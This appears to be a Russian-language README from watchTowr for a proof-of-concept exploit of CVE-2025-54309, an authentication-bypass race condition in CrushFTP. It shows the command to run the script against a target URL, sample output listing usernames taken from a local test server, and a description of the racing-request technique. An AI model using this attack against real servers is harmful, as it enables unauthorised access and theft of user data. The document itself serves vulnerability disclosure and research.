
Эксплойт для обхода аутентификации CrushFTP — Proof of Concept
См. наш пост в блоге с техническими подробностями
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
Этот скрипт является proof of concept для CVE-2025-54309, нацеленного на интерфейсы CrushFTP. Создавая набор «гонок» (race) запросов с одинаковыми идентификаторами сессии — один запрос устанавливает свойство имени пользователя в «crushadmin», а другой выполняет аутентифицированную команду от имени этого пользователя — в данном PoC можно извлечь список имён пользователей. Более подробно описано в нашем посте в блоге.
Подробнее в рекомендациях CrushFTP
За последними исследованиями в области безопасности следите за командой watchTowr Labs